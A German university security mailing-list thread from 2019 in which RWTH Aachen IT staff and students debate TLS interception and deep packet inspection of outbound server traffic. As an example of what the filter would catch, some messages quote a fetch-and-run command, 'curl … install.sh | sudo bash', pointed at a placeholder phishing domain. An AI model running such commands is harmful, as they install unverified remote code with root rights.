Diese References in E-Mials sind ja manchmal eine Unsitte. Schreibt die URLs doch direkt.
Hochkopiert:
[1] https://twitter.com/_pub_feuerrot/status/856823162696343553
(alter Proxy-Scheiss - sorry - von 2017)
Äh:
https://maintenance.rz.rwth-aachen.de/ticket/status/messages/23-www-proxy-se...
(auch alter Proxy-Scheiss von 2017 - morgen reist man mir den Kopf deswegen ab).
[2] Das war dann auch ein guter Zeitpunkt, um mal HSTS anzumachen
Das ist eine Referenz? Äh. Nein.
Wie sieht das denn mit Fernmeldegeheimnis und DSGVO aus? So ein Serve> kann ja durchaus mal eine TLS-Verbindung aufmachen und Daten übertragen, die von einem Nutzer stammen[3] und wenn in der Aufzählung von
Huh. Ein Proxy?
In solchen Fällen bzw. Einsatzszenarien solltest Du mit Deinem ISP (Kuckuck: IT Center) reden: "Dein Server baut eine TLS Verbindung auf und überträgt Daten, die von einem Nutzer stammen"?
Klingt interessant. Really.
Wie sieht es mit "Absicherung der Server nach Stand der Technik" aus der DSVGO aus?
SSL-Traffic (HTTPS, IMAPS, ...) nach außen ist *derzeit* noch nicht betroffen (s.u.).
Yup. As of today!
auch schon explizit IMAPS genannt wird, scheint auch durchaus an das Abholen von EMails aus einem externen Postfach gedacht zu sein?
Gotme! NEIN. IMAPS in der Fläche mit Sicherheit nein. Aber: ruft *Dein* Server IMAPS ab?
Ja? Dann werden wir fragen: wieso denn? Ja was geht da ab?
Wie sieht das mit Authentifizierung mit TLS-Clientzertifikaten aus?
Habt Ihr auf Euren Servern Client Zertificate? Ich hoffe mal nicht.
Was ist mit auf Servern installierter Software, die certificate-pinning/HPKP nutzen oder EV-Zertifikate sinnvoll implementieren?
"sinnvoll?" wäre eine Gegenfrage, im konkreten Fall: Telefon, E-Mail: "hier ist was kaputt"?
In Firefox[4] kann eine CA für EV-Zertifikate nur in einem Debugbuild oder durch Selbstbau hinzugefügt werden[5] und wenn man etwas auf Servern will, sind es sicherlich selbstgebaute Anwendungen, die dann nie wieder geupdatet werden.
???
ls /etc/ssl/certs/
Wenn jemand über das kommende Aufbrechen von SSL-Verbindungen der Server nach draußen diskutieren will, schlage ich vor, ein anderes Subject in der E-Mail zu benutzen. (first come, first serve)
Da hatte Thomas ja schon die passende Idee.
Mag sein. Thomas hatte sicher eine Gedanken, was er mit "Verringerung" meinte, hat es aber nur in einem kleinen Abschnitt angedeutet.
Es geht hier aber nicht um eine "Verringerung des Sicherheitsneiveaus", Privacy breakouts, oder andere Eurer Sorgen.
Es geht darum in Zukunft klare Aussagen über das Kommunikationsprofil der Server der RWTH treffen zu können.
Eine Aussagen oben haben mir die Haare zu Berge stehen lassen.
Es geht hier nicht um Verletzung irgendwelcher Privacy.
Es geht hier darum, wie aktuelle Techniken so eingesetzt werden können, dass wir einen Vorteil davon haben, ohne die DSGVO zu verletzten.
Ja. Hier ist eine grundsätzliche Diskussion gefordert, aber keine Grundsatzdiskussion. Hier müssen technische (im Sinne von: Ingeniuer) Gegebenheiten diskutiert werden.
Ich sage es mal so: der Traffic muss klassifiziert, qualifiziert und reguliert werden.
Und bevor jetzt wieder ein Studi "mimimi" ruft: is ok. Aber sach klar, was is.
Gruß, Jens Hektor
P.S. Gute Nacht. Das ist meine Zeitzone.
rwth-security mailing list -- rwth-security@lists.rwth-aachen.de To unsubscribe send an email to rwth-security-leave@lists.rwth-aachen.de
Eine gute $tageszeit,
ich möchte auch mal meine persönliche Meinung dazu äußern.
Eine zusätzliche Absicherung durch DPI sehe ich grundsätzlich erstmal positiv. Dafür TLS aufzubrechen sehe ich eher kritisch, auch wenn es hier ja "nur" um ausgehende Verbindungen von Servern ins große böse Internetz geht. Durch diese Einschränkung sinkt m.M.n. das Potential für einen "single point of Datenklau" ein wenig (im Vergleich zu "ein- + ausgehend").
Die möglichen Vorteile liegen auf der Hand: - Bekannte verseuchte Domains und C&C-Server rausfiltern - Antivirus-Scans sind möglich - Bekannte kaputte "Packages" (OS Repositories, NPM, Docker, maven, etc.) könnten gefiltert werden - Und so eine Infektion bzw. Verteilung dieser, möglicherweise verhindern zu können ...
Dennoch ist damit TLS erstmal an einer zentralen Stelle "aufgebrochen". Die Vergangenheit hat (bei Antivirus-Software) gezeigt, dass eine re-signierung auch mal die Angriffsoberfläche erhöhen kann, wenn z.B. in der Prüfung der ursprünglichen Signatur ein Fehler passiert.
Weiterhin gäbe es so eine zentrale Stelle, die, technisch, fast beliebig Daten ändern, Verbindungen töten, Informationen (z.B. Access-Tokens für Versionsverwaltungen & CI-Tools, mit Kooperationspartnern gesyncte Daten, u.Ä.) sammeln könnte (ja, nur ausgehende Anfragen, aber dennoch). Auch wenn ich dem IT Center erstmal vertraue (im Gegensatz zum ISP daheim), dass nicht böswillig eingegriffen werden würde, sehe ich hier dennoch einen zentralen Punkt, der bei technischen (potentiell auch menschlichen) Fehlern oder gar einer "Übernahme" Probleme verursachen kann. (Ein Horrorszenario wäre beispielsweise: Unbemerkte Modifikation der HTTPS-Response bei erwähntem `curl $url | sudo bash`.)
Als optionalen (ob opt-in oder opt-out sei mal dahingestellt) Service halte ich das für eine gute Ergänzung des Angebots und könnte es mir auch gut für dem einen oder anderen Server vorstellen.
Interessant wären, nach Testläufen, in der Tat Statistiken zu Leistungs- und eventuellen Funktions-Einschränkungen. Welche Reporting- und Konfigurations-Möglichkeiten für betroffene Server-Betreuende könnte es geben?
Viele Grüße, Richard (Zameitat)
On 11/02/2019 10:11, Hinrikus Wolf wrote:
Moin,
nachdem hier andere aus der FSMPI etwas mit der Polemik übertrieben haben, möchte ich mal versuchen konstruktiv zu sein.
Ich kann das Bedürfnis / die Bemühungen seitens des RZs sehr gut nachvollziehen, das RWTH-Netz abzusichern.
Ich muss sagen, dass ich auch lange gebraucht habe um deine E-Mail zu verstehen. Insbesondere was ihr vor habt. Zur Klarstellung:
Es geht darum, dass Anfragen von (bestimmten) Servern ins große Internet überwacht werden sollen, also z.B. das berühmte
curl http(s)://richtig-phishige-domain.tld/install.sh | sudo bash.
Was natürlich auch von Malware gemacht werden kann.
Zum Vorgehen möchte ich anmerken, dass ich das etwas geschickter gefunden hätte, wenn die erste Ankündigung von einer IT-Adminrunde passiert wäre.
Ich würde gerne mal wissen, ob ihr das auf euren eigenen Systemen schon getestet habt. Wenn ja, mit welchem Erfolg? Malware gefunden? False Positives? Leistungseinbußen? (Hast du Zahlen?, welche System sind betroffen).
Für welche Server soll das am Ende gelten? Alle? Alle, die Freigaben in der "Great Wall of Aachen" haben? Ausgewählte, die als kritisch betrachtet werden?
Soll nur überwacht werden oder auch geblockt werden?
Ich denke das sind genug Fragen. Eine Anmerkung bleibt: https://jhalderm.com/pub/papers/interception-ndss17.pdf
Die schreiben, warum eine Aufbrechen von TLS-Traffic meistens eine Verringerung der Sicherheit bedeutet.
Viele Grüße Rikus
On 11.02.19 01:19, Jens Hektor wrote:
Hi,
Am 10.02.19 um 22:42 schrieb Markus Witt:
Guten Morgen,
ok. Die FSMPI hat offensichtlich ihren Sitz in Kalifornien ;-)
[grummel: immer noch das "Verringerung" Subject - fällt Euch echt nix besseres ein?]
<off> Mist. Ich hätte während des Studiums nicht mit "somebody wrong" Gitarre spielen sollen. </off>
On 09.02.2019 23:25, Jens Hektor wrote:
Aus "historischen" Gründen waren das bisher HTTP-Server. nicht HTTPS-, SSH- und RDP-Server. Letzte Vorfälle haben gezeigt, dass wir das ausdehnen wollen
Welche Vorfälle waren das genau, über welche Schwachstellen sind Angreifer auf Systeme gekommen und was genau hat das mit sinnvoll konfigurierten SSH-Servern[0] zu tun? Gibt es post-mortems, von denen auch andere lernen können?
Postmortems sind immer Spass, also hier als Beispiel:
https://www.google.com/search?q=jens+hektor+fun
Zweiter hit, Case hier ab Seite 11, aber der Rest darf auch gelsen werden, wg. Zusammenhang.
Damit werden diese Servergruppen ab sort in dieselbe Gruppe wie die eduroam-Netzwerke Netzwerke aufgenommen, für die bereits seit einiger Zeit eine "Deep Inspection" des gesamten nicht verschlüsselten Traffics gilt
Wie genau wird Traffic inspiziert? Welche Filterlisten werden verwendet?
Endlich. Einer fragt.
Wir reden hier über "deep inspection". Die Filterlisten können auch IP-Adressen sein (layer 3) aber im Regelfall reden wir über Layer 5+ also den Inhalt der (typischewrweise TCP-) Pakete.
Hier greifen Muster, wie msn sie aus klassischen Intrusion Detection Systemen (IDS - bekannte Namen: snort [Achtung: jetzt cisco], bro, surcicata) kennt, aber eben mit dem Service des Herstellers (Forcepoint, bzw. Ihrer NGFW Division die früher Stonesoft hies - <google keywords completed/>)
Gegen was wird ein Paket alles geprüft, das die DPI-Lösung passiert?
Hähähähä. Das wüsste ich auch gern. :-)
Im Ernst: die Firewall hat eine recht große Anzahl Signaturen, und ich habe regelmäßig Kontakt mit dem Hersteller wegen Mängeln in diesen. :-/
Was wird wie lange gespeichert?
Ups. Jetzt wirds berechtigerweise indiskret :-)
"Terminates", also Signaturen, bei denen wir gestört haben, ziemlich lange (~halbes Jahr).
"permits" solange bis wir das logging ausschalten.
Typischerweise haben wir in den hier relavanten "permit" Fällen aber keine "POST"-Daten, die noch relavant sein könnten.
Also in beiden Fällen: IP-Adressen, Portnummern, IDS_Signatur ggf. URLs, wenn eine Signatur triggerte. Der meiste Kram davon ist uninteressant, und wenn nicht, gibts es eine E-Mail an die Admins/User. Das wird typischerweise täglich durchgesehen (keine AI, sondern HI). Also grauenvolle Handarbeit Prüfung externer IPs, seltener URLs, Google mit Keywords "threat", "malware" usw. Halt normale SOC-Arbeit.
Solche Log-Daten fallen aber nur an, wenn eine "wie auch immer qualifizerte Signatur" des Hersteller triggerte.
also:
a) selten (ich kriege das ja noch abgearbeitet - oder er ist Mist ;-) ) b) häufig. Dann gibts ein Problem zu lösen: Client kaputt konfiguriert, Signatur Müll, oder echtes Problem -> Mail an Admin/User.
Was ich da bisher mitbekommen habe, bestand primär aus Blacklists - wo
Korrekt. Dokumentiert hier:
https://www.google.com/search?q=rwth+firewall
dann plötzlich Seiten des CCC in die Kategorie "Malware" fallen[1] und nur noch über https erreichbar sind[2].
Diese References in E-Mials sind ja manchmal eine Unsitte. Schreibt die URLs doch direkt.
Hochkopiert:
[1] https://twitter.com/_pub_feuerrot/status/856823162696343553
(alter Proxy-Scheiss - sorry - von 2017)
Äh:
https://maintenance.rz.rwth-aachen.de/ticket/status/messages/23-www-proxy-se...
(auch alter Proxy-Scheiss von 2017 - morgen reist man mir den Kopf deswegen ab).
[2] Das war dann auch ein guter Zeitpunkt, um mal HSTS anzumachen
Das ist eine Referenz? Äh. Nein.
Wie sieht das denn mit Fernmeldegeheimnis und DSGVO aus? So ein Serve> kann ja durchaus mal eine TLS-Verbindung aufmachen und Daten übertragen, die von einem Nutzer stammen[3] und wenn in der Aufzählung von
Huh. Ein Proxy?
In solchen Fällen bzw. Einsatzszenarien solltest Du mit Deinem ISP (Kuckuck: IT Center) reden: "Dein Server baut eine TLS Verbindung auf und überträgt Daten, die von einem Nutzer stammen"?
Klingt interessant. Really.
Wie sieht es mit "Absicherung der Server nach Stand der Technik" aus der DSVGO aus?
SSL-Traffic (HTTPS, IMAPS, ...) nach außen ist *derzeit* noch nicht betroffen (s.u.).
Yup. As of today!
auch schon explizit IMAPS genannt wird, scheint auch durchaus an das Abholen von EMails aus einem externen Postfach gedacht zu sein?
Gotme! NEIN. IMAPS in der Fläche mit Sicherheit nein. Aber: ruft *Dein* Server IMAPS ab?
Ja? Dann werden wir fragen: wieso denn? Ja was geht da ab?
Wie sieht das mit Authentifizierung mit TLS-Clientzertifikaten aus?
Habt Ihr auf Euren Servern Client Zertificate? Ich hoffe mal nicht.
Was ist mit auf Servern installierter Software, die certificate-pinning/HPKP nutzen oder EV-Zertifikate sinnvoll implementieren?
"sinnvoll?" wäre eine Gegenfrage, im konkreten Fall: Telefon, E-Mail: "hier ist was kaputt"?
In Firefox[4] kann eine CA für EV-Zertifikate nur in einem Debugbuild oder durch Selbstbau hinzugefügt werden[5] und wenn man etwas auf Servern will, sind es sicherlich selbstgebaute Anwendungen, die dann nie wieder geupdatet werden.
???
ls /etc/ssl/certs/
Wenn jemand über das kommende Aufbrechen von SSL-Verbindungen der Server nach draußen diskutieren will, schlage ich vor, ein anderes Subject in der E-Mail zu benutzen. (first come, first serve)
Da hatte Thomas ja schon die passende Idee.
Mag sein. Thomas hatte sicher eine Gedanken, was er mit "Verringerung" meinte, hat es aber nur in einem kleinen Abschnitt angedeutet.
Es geht hier aber nicht um eine "Verringerung des Sicherheitsneiveaus", Privacy breakouts, oder andere Eurer Sorgen.
Es geht darum in Zukunft klare Aussagen über das Kommunikationsprofil der Server der RWTH treffen zu können.
Eine Aussagen oben haben mir die Haare zu Berge stehen lassen.
Es geht hier nicht um Verletzung irgendwelcher Privacy.
Es geht hier darum, wie aktuelle Techniken so eingesetzt werden können, dass wir einen Vorteil davon haben, ohne die DSGVO zu verletzten.
Ja. Hier ist eine grundsätzliche Diskussion gefordert, aber keine Grundsatzdiskussion. Hier müssen technische (im Sinne von: Ingeniuer) Gegebenheiten diskutiert werden.
Ich sage es mal so: der Traffic muss klassifiziert, qualifiziert und reguliert werden.
Und bevor jetzt wieder ein Studi "mimimi" ruft: is ok. Aber sach klar, was is.
Gruß, Jens Hektor
P.S. Gute Nacht. Das ist meine Zeitzone.
rwth-security mailing list -- rwth-security@lists.rwth-aachen.de To unsubscribe send an email to rwth-security-leave@lists.rwth-aachen.de
Hi,
Am 11.02.19 um 10:11 schrieb Hinrikus Wolf:
nachdem hier andere aus der FSMPI etwas mit der Polemik übertrieben haben, möchte ich mal versuchen konstruktiv zu sein.
danke. Wurde dann ja auch so fortgeführt.
Es geht darum, dass Anfragen von (bestimmten) Servern ins große Internet überwacht werden sollen, also z.B. das berühmte
curl http(s)://richtig-phishige-domain.tld/install.sh | sudo bash.
Was natürlich auch von Malware gemacht werden kann.
Richtig. Darum geht es.
Zum Vorgehen möchte ich anmerken, dass ich das etwas geschickter gefunden hätte, wenn die erste Ankündigung von einer IT-Adminrunde passiert wäre.
Ich finde es besser, hier ein offene Diskussion mit Euch zu führen, um zu erfahren, was geht, was nicht geht, wo der Schuh drückt usw ...
Die Admin-Runde kommt dann dran, wenn wir unter Berücksichtigung aller Einwände und nach ein paar Tests mit Freiwilligen ein Konzept haben, mit dem arbeiten wollen. Aber das ganze soll dieses Jahr stattfinden.
Ich würde gerne mal wissen, ob ihr das auf euren eigenen Systemen schon getestet habt. Wenn ja, mit welchem Erfolg? Malware gefunden? False Positives? Leistungseinbußen? (Hast du Zahlen?, welche System sind betroffen).
Ich habe mir als proof of concept so einen Setup für mein Laptop genauer: ein kleines Netz aufgebaut. In das Netz stecke ich schon mal den einen oder anderen Virenverseuchten Rechner, und ja, das hilft.
Betriebliche Erfahrungen mit Servern haben wir noch nicht.
Die Kollegen aus Clausthal haben beim umgekehrten Weg (also der externe Traffic zu HTTPS-Servern im Hochschulnetz) keine nennenswerten Einbußen bemerkt:
https://www.dfn.de/fileadmin/3Beratung/Betriebstagungen/bt68/BT68_IPWIN_Intr...
Für welche Server soll das am Ende gelten? Alle? Alle, die Freigaben in der "Great Wall of Aachen" haben? Ausgewählte, die als kritisch betrachtet werden?
Zunächst mal möchte ich einen hohen Anteil der Systeme haben, die Dienste für die Welt anbieten. Das ich 100% der Systeme nicht kriege, ist mir auch klar.
Eine Fragestellung für mich ist zum Beispiel, wie spezifisch könnnen Ausnahmen formulieren.
Wenn die kritischen Kommunikationspartner eines Servers bekannt sind (z.B. die Bank), kann man solchen Traffic heutzutage ausnehmen.
Soll nur überwacht werden oder auch geblockt werden?
Nun, eine IPS Komponente wird blocken, wenn sie meint, hier passiert etwas schlimmes.
Ja, und "false positives" gibt es. Bisher ist das aber beherrschbar. Ich denke nicht, dass der Anteil wesentlich steigt, wenn man in TLS reinschaut.
Ich denke das sind genug Fragen. Eine Anmerkung bleibt: https://jhalderm.com/pub/papers/interception-ndss17.pdf
Interessantes Paper, betrifft aber eine etwas andere Geräteklasse. Aber Tests dieser Art wären hier auch interessant, und der Hersteller der Firewallsysteme interessiert sich durchaus für Anmerkungen und Verbesserungsvorschäge seiner Kunden und setzt so etwas auch um.
Die schreiben, warum eine Aufbrechen von TLS-Traffic meistens eine Verringerung der Sicherheit bedeutet.
Wenn hier jemand solche Tests machen will, ist er herzlich willkommen.
Gruß, Jens Hektor
Hallo,
ein paar technische Anmerkungen zum Betrieb einer solchen Firewall:
Wenn beim outgoing traffic was auffällt, ist das Kind meistens ja schon in den Brunnen gefallen. Ich kriege die email, Sie haben arbeit, also dann Stunden später, statt wie bisher Tage später.
Wahrscheinlich wird es sehr einfach sein, die Betriebssystem Update Server auf die Whitelist zu setzen. Meist wird beim linux ja eine https Verbindung zu denen aufgebaut.
Für mein Institut finde ich den Filter für ssh Server sehr sinnvoll. Wer outgoing traffic machen möchte bei mir, soll bitte vpn nehmen, bzw. ein weiteres ssh auf einen client machen.
Für https betreibe ich seit grob einem Jahr schon die mod_security Webfirewall, die sowas macht wie deep inspection.
Da habe ich folgende Dienste auf die Whitelist setzen müssen, da sie sonst richtig nicht funktionieren:
svn über https git über https webmail über https smartsieve über https
Was auch nicht geht, worüber ich aber sehr froh bin, ist das editieren des CMS Webcontent Systems. Änderungen daran sind nur RWTH intern möglich.
Weiterhin sehe ich überall da Testbedarf, wo eine Webapplikation eine Form aufmacht, über die Daten geschickt werden. Da alles über den gleichen Server läuft, müsste die Whitelist also url-basiert gehen.
Log Auszüge per email finde ich gruselig. Da fände ich einen Auszug per rsyslog besser.
Ein wenig künstliche Intelligenz liesse sich einführen, wenn genug Institute und Admins mitmachen.
Wenn die IP-Adressen von failed logins auf ssh / imap / smtp / rdp Servern zentral gemeldet würden und böse https Anfragen auch, dann könnte die zentrale firewall eine IP blocken, wenn sie von mindestens x Instituten gemeldet wird.
Viele Grüße
Frank Knoben
On 11.02.19 15:32, Jens Hektor wrote:
Hi,
Am 11.02.19 um 10:11 schrieb Hinrikus Wolf:
nachdem hier andere aus der FSMPI etwas mit der Polemik übertrieben haben, möchte ich mal versuchen konstruktiv zu sein.
danke. Wurde dann ja auch so fortgeführt.
Es geht darum, dass Anfragen von (bestimmten) Servern ins große Internet überwacht werden sollen, also z.B. das berühmte
curl http(s)://richtig-phishige-domain.tld/install.sh | sudo bash.
Was natürlich auch von Malware gemacht werden kann.
Richtig. Darum geht es.
Zum Vorgehen möchte ich anmerken, dass ich das etwas geschickter gefunden hätte, wenn die erste Ankündigung von einer IT-Adminrunde passiert wäre.
Ich finde es besser, hier ein offene Diskussion mit Euch zu führen, um zu erfahren, was geht, was nicht geht, wo der Schuh drückt usw ...
Die Admin-Runde kommt dann dran, wenn wir unter Berücksichtigung aller Einwände und nach ein paar Tests mit Freiwilligen ein Konzept haben, mit dem arbeiten wollen. Aber das ganze soll dieses Jahr stattfinden.
Ich würde gerne mal wissen, ob ihr das auf euren eigenen Systemen schon getestet habt. Wenn ja, mit welchem Erfolg? Malware gefunden? False Positives? Leistungseinbußen? (Hast du Zahlen?, welche System sind betroffen).
Ich habe mir als proof of concept so einen Setup für mein Laptop genauer: ein kleines Netz aufgebaut. In das Netz stecke ich schon mal den einen oder anderen Virenverseuchten Rechner, und ja, das hilft.
Betriebliche Erfahrungen mit Servern haben wir noch nicht.
Die Kollegen aus Clausthal haben beim umgekehrten Weg (also der externe Traffic zu HTTPS-Servern im Hochschulnetz) keine nennenswerten Einbußen bemerkt:
https://www.dfn.de/fileadmin/3Beratung/Betriebstagungen/bt68/BT68_IPWIN_Intr...
Für welche Server soll das am Ende gelten? Alle? Alle, die Freigaben in der "Great Wall of Aachen" haben? Ausgewählte, die als kritisch betrachtet werden?
Zunächst mal möchte ich einen hohen Anteil der Systeme haben, die Dienste für die Welt anbieten. Das ich 100% der Systeme nicht kriege, ist mir auch klar.
Eine Fragestellung für mich ist zum Beispiel, wie spezifisch könnnen Ausnahmen formulieren.
Wenn die kritischen Kommunikationspartner eines Servers bekannt sind (z.B. die Bank), kann man solchen Traffic heutzutage ausnehmen.
Soll nur überwacht werden oder auch geblockt werden?
Nun, eine IPS Komponente wird blocken, wenn sie meint, hier passiert etwas schlimmes.
Ja, und "false positives" gibt es. Bisher ist das aber beherrschbar. Ich denke nicht, dass der Anteil wesentlich steigt, wenn man in TLS reinschaut.
Ich denke das sind genug Fragen. Eine Anmerkung bleibt: https://jhalderm.com/pub/papers/interception-ndss17.pdf
Interessantes Paper, betrifft aber eine etwas andere Geräteklasse. Aber Tests dieser Art wären hier auch interessant, und der Hersteller der Firewallsysteme interessiert sich durchaus für Anmerkungen und Verbesserungsvorschäge seiner Kunden und setzt so etwas auch um.
Die schreiben, warum eine Aufbrechen von TLS-Traffic meistens eine Verringerung der Sicherheit bedeutet.
Wenn hier jemand solche Tests machen will, ist er herzlich willkommen.
Gruß, Jens Hektor
rwth-security mailing list -- rwth-security@lists.rwth-aachen.de To unsubscribe send an email to rwth-security-leave@lists.rwth-aachen.de
Am 11.02.19 um 16:51 schrieb Frank Knoben:
ein paar technische Anmerkungen zum Betrieb einer solchen Firewall:
und ein bischen Senf von mir.
Wenn beim outgoing traffic was auffällt, ist das Kind meistens ja schon in den Brunnen gefallen.
Halb. Wenn dann beim outgoing Traffic was auffällt, hat man
a) einen Alarm (oder auch "nur" ein Log) b) den Finger drauf
Man kann sich blast-o-mat mäßig sogar eine sofortige Isolation des Systems ins LAN vorstellen.
Sobald Sensorik da ist, kann man damit arbeiten.
Ich kriege die email, Sie haben arbeit, also dann Stunden später, statt wie bisher Tage später.
Das dauert nur Minuten. Und mir macht der blast-o-mat keine Arbeit.
Wir haben die "software defined security" Infrastruktur namens "blast-o-mat" seit über 15 Jahren. Die Texte der versendeten E-Mails werden wir bald überarbeiten, die sind /fast) noch vom Original. (die FSMPI hat mich deswegen auch schon angema^W angetriggert :-).
Und nach einer Überarbeitung im letzten Jahr ist es kein echtes Problem mehr, weiteres dort anzuklemmen.
Wahrscheinlich wird es sehr einfach sein, die Betriebssystem Update Server auf die Whitelist zu setzen.
Bei den sogenannten Next Generation Firewalls (kurz: NGFW) reden wir mittlerweile über Applications. In die diesem Zusammenhang heissen die "yum-update", "ubuntu-update" und "windows-update". So etwas wird auf den 2nd line Firewalls bereits benutzt.
Was auch nicht geht, worüber ich aber sehr froh bin, ist das editieren des CMS Webcontent Systems. Änderungen daran sind nur RWTH intern möglich.
Immer eine gute Strategie, kritische Sachen nicht weltweit anzubeiten.
Weiterhin sehe ich überall da Testbedarf, wo eine Webapplikation eine Form aufmacht, über die Daten geschickt werden. Da alles über den gleichen Server läuft, müsste die Whitelist also url-basiert gehen.
Auch das wurde auf der RWTH-Firewall mit einem Testkunden bereits realisiert.
Vorsicht: hier hätte ich auch ein "hübsches" Arbeitspaket:
umstellen der 1000 HTTP-Freischaltungen auf "domain names" (vermutlich dann eher 4000 Einträge). Hat man dass, kann man auch URL-Pfade vorfiltern ("/admin/index.php" oder gleich "/admin").
Wenn einer auf so etwas umstellen will: pas de probleme.
Wenn die IP-Adressen von failed logins auf ssh / imap / smtp / rdp Servern zentral gemeldet würden und böse https Anfragen auch, dann könnte die zentrale firewall eine IP blocken, wenn sie von mindestens x Instituten gemeldet wird.
Frank Knoben ist einer der wenigen, der ein entsprechendes Angebot des IT Centers, hier öfter erwähnt, wahrnimmt.
Wir hatten mal eine Auswertung solcher Daten, das liegt aber im Moment brach. Wäre aber auch kein großes Problem.
Gruß, Jens Hektor
Am 11.02.19 um 16:51 schrieb Frank Knoben:
ein paar technische Anmerkungen zum Betrieb einer solchen Firewall:
und ein bischen Senf von mir.
Wenn beim outgoing traffic was auffällt, ist das Kind meistens ja schon in den Brunnen gefallen.
Halb. Wenn dann beim outgoing Traffic was auffällt, hat man
a) einen Alarm (oder auch "nur" ein Log) b) den Finger drauf
Man kann sich blast-o-mat mäßig sogar eine sofortige Isolation des Systems ins LAN vorstellen.
Sobald Sensorik da ist, kann man damit arbeiten.
Ich kriege die email, Sie haben arbeit, also dann Stunden später, statt wie bisher Tage später.
Das dauert nur Minuten. Und mir macht der blast-o-mat keine Arbeit.
Wir haben die "software defined security" Infrastruktur namens "blast-o-mat" seit über 15 Jahren. Die Texte der versendeten E-Mails werden wir bald überarbeiten, die sind /fast) noch vom Original. (die FSMPI hat mich deswegen auch schon angema^W angetriggert :-).
Und nach einer Überarbeitung im letzten Jahr ist es kein echtes Problem mehr
Wahrscheinlich wird es sehr einfach sein, die Betriebssystem Update Server auf die Whitelist zu setzen.
Bei den sogenannten Next Generation Firewalls (kurz: NGFW) reden wir mittlerweile über Applications. In die diesem Zusammenhang heissen die "yum-update", "ubuntu-update" und "windows-update". So etwas wird auf den 2nd line Firewalls bereits benutzt.
Was auch nicht geht, worüber ich aber sehr froh bin, ist das editieren des CMS Webcontent Systems. Änderungen daran sind nur RWTH intern möglich.
Immer eine gute Strategie, kritische Sachen nicht weltweit anzubieten.
Weiterhin sehe ich überall da Testbedarf, wo eine Webapplikation eine Form aufmacht, über die Daten geschickt werden. Da alles über den gleichen Server läuft, müsste die Whitelist also url-basiert gehen.
Auch das wurde auf der RWTH-Firewall mit einem Testkunden bereits realisiert.
Vorsicht: hier hätte ich auch ein "hübsches" Arbeitspaket:
umstellen der 1000 HTTP-IP-Freischaltungen auf "domain names" (vermutlich dann eher 4000 Einträge). Hat man dass, kann man auch URL-Pfade vorfiltern ("/admin/index.php" oder gleich "/admin").
Wenn die IP-Adressen von failed logins auf ssh / imap / smtp / rdp Servern zentral gemeldet würden und böse https Anfragen auch, dann könnte die zentrale firewall eine IP blocken, wenn sie von mindestens x Instituten gemeldet wird.
Frank Knoben ist einer der wenigen, der ein entsprechendes Angebot des IT Centers, hier öfter erwähnt, wahrnimmt.
Wir hatten mal eine Auswertung solcher Daten, das liegt aber im Moment brach. Wäre aber kein großes Problem.
Gruß, Jens Hektor
Am 11.02.19 um 10:11 schrieb Hinrikus Wolf:
Zum Vorgehen möchte ich anmerken, dass ich das etwas geschickter gefunden hätte, wenn die erste Ankündigung von einer IT-Adminrunde passiert wäre.
Tja. Mir ist Macron irgendwie lieber als Merkel.
Und das sollte auch keine "das tolle IT-Center macht was" Ankündigung sein, denn Netz ist eine sensiblere Sache. (hat man ja gemerkt) Es sollte ganz bewußt ein erster Aufschlag sein.
"rwth-security" ist ein eher technisches Forum, kein politisches. Dafür gibt es andere Gremien. Vielleicht sollten die "newbies" sich erst mal durch 20 Jahre Geschichte dieser Mailingliste arbeiten ;-)
Hier hätte ich gerne Ideen, Gedanken zur Technik und Anregungen.
Bei der Admin-Runde ist viel zu wenig Zeit dafür.
Hallo,
ich antworte mal auf diese Mail, damit Gmail-Nutzer nicht noch einen Thread bekommen.
Ich habe mal einen Kompromiss (angeregt durch "http nur zu ftp.halifax"): Da es so aussieht, als ob der nicht vertrauenswürdige Traffic von Interesse sei, könnte man diesen blockieren und den Admin sofort (also automatisiert), aktiv informieren. Das ist quasi eine Erweiterung des Status quo. Vielleicht mit einem Opt-In für MITM für Admins.
Das würde ich für 90% der Server (nicht nur die mit Freigaben) sofort nehmen.
Moin,
(Das Subject finde ich auch unpassend. Behalte ich nur bei, um den Thread nicht auseinanderzureißen.)
On Mon, Feb 11, 2019 at 01:34:00PM +0100, Thomas Vogt wrote:
Das würde ich für 90% der Server (nicht nur die mit Freigaben) sofort nehmen.
Das ist ein interessanter Punkt: Eine Schwäche des aktuellen Ansatzes ist es, dass die Liste der IP-Adressen, auf die DPI angewendet wird, sich daraus ergibt, ob es Port-Freischaltungen für diese IP-Adressen gibt.
Gerade in Wohnheimen deckt sich das aber nur teilweise mit den IPs, hinter denen das steckt, was man normalerweise 'Server' nennt.
Zum einen gibt es sicherlich eine Menge interner Server, die zwar keine gesonderten Freischaltungen für hereinkommende Verbindungen haben, bei denen es aber sinnvoll wäre, verdächtige herausgehende Verbindungen zu erkennen und ggf. zu blockieren.
Andererseits gibt es IP-Adressen, die einzelnen Studierenden zugeordnet sind und eigentlich als Client genutzt werden, die aber vielleicht einen ssh-Port für privaten Fernzugriff, oder einen http-Port für irgendwelche Eigenentwicklungen / Projekte / Tests etc. freigeschaltet haben. Diese genauso wie 'richtige' Server zu behandeln dürfte im Vergleich zu echten Servern mehr Fehlalarme auslösen. Zudem bestehen Privatsphäre-Bedenken (s. das Argument Online-Banking).
Gäbe es vielleicht eine Möglichkeit, die beiden Listen getrennt zu pflegen?
IIRC ist für IPv6 im RWTH-Netz sowieso gefordert, dass Server und Clients in verschiedene Netzblöcke gepackt werden sollen. Falls der Verwaltungsaufwand für das ITC zu hoch erscheint, einzelne Listen zu pflegen, wäre es vielleicht ein Kompromiss, etwas ähnliches auch für IPv4 vorzusehen? Aufgrund der Adressknappheit wahrscheinlich nicht als komplette Netze realisierbar, aber jedes Wohnheim sollte zumindest in der Lage sein, Ranges von IP-Adressen anzugeben, in denen sich Server befinden.
Grüße, Jan
Am 11.02.19 um 13:52 schrieb Jan Niehusmann:
Gerade in Wohnheimen deckt sich das aber nur teilweise mit den IPs, hinter denen das steckt, was man normalerweise 'Server' nennt.
Zum einen gibt es sicherlich eine Menge interner Server, die zwar keine gesonderten Freischaltungen für hereinkommende Verbindungen haben, bei denen es aber sinnvoll wäre, verdächtige herausgehende Verbindungen zu erkennen und ggf. zu blockieren.
Wenn die jemand dahinter haben will, muss er das nur sagen.
